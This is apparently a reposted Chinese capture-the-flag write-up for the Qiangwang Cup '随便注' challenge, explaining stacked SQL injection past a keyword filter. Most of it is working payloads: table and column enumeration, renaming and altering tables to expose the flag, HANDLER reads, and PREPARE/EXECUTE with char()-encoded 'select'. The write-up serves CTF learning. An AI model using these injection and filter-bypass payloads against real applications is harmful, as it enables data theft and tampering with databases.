[强网杯]随便注
当所需的语句被ban时可以考虑,用其他方式实现该语句。但是如果想不出同样可以考虑改变数据来利用本来执行的语句。
打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题。Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
111‘;show databases# //查库
111‘;show tables# //查表
111‘;desc `1919810931114514`;# //查1919810931114514中的列
111‘;desc words# //查words中的列
1‘order by 2#
1‘order by 3# //得出select了两个数据
因为查询了两个数据,所以查的时words表中的,猜测语句为。
select id,data from words where id = ‘$_GET[inject]‘
方式一
此时我们可以想办法让两表调换,让原语句对我们想要查询的表和字段查询。
- 修改表名语法
mysql> ALTER TABLE testalter_tbl RENAME TO alter_tbl;
- 修改字段名及类型语法
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;
EXP:
111‘;rename table words to qwq;rename table `1919810931114514` to words;alter table words change flag id varchar(100)#
这里要注意不要逐句注入,否则前语句会发生错误导致之后无法执行任何语句
最后爆id拿到flag
1‘or 1=1#
方式二
当在Mysql数据库的情况下我们可以使用handler语句。
- 语法
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
EXP:
‘;handler `1919810931114514` open;handler `1919810931114514` read first#
方式三
预处理语句
PREPARE name from ‘[my sql sequece]‘; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
变量传递
SET @tn = ‘hahaha‘; //存储表名
SET @sql = concat(‘select * from ‘, @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
EXP:
111‘;PREPARE hacker from concat(char(115,101,108,101,99,116), ‘ * from `1919810931114514` ‘);EXECUTE hacker;#
111‘;SET @sqli=concat(char(115,101,108,101,99,116),‘* from `1919810931114514`‘);PREPARE hacker from @sqli;EXECUTE hacker;#
原文地址:https://www.cnblogs.com/Rainsw0rd/p/12611533.html
时间: 2024-10-29 17:29:04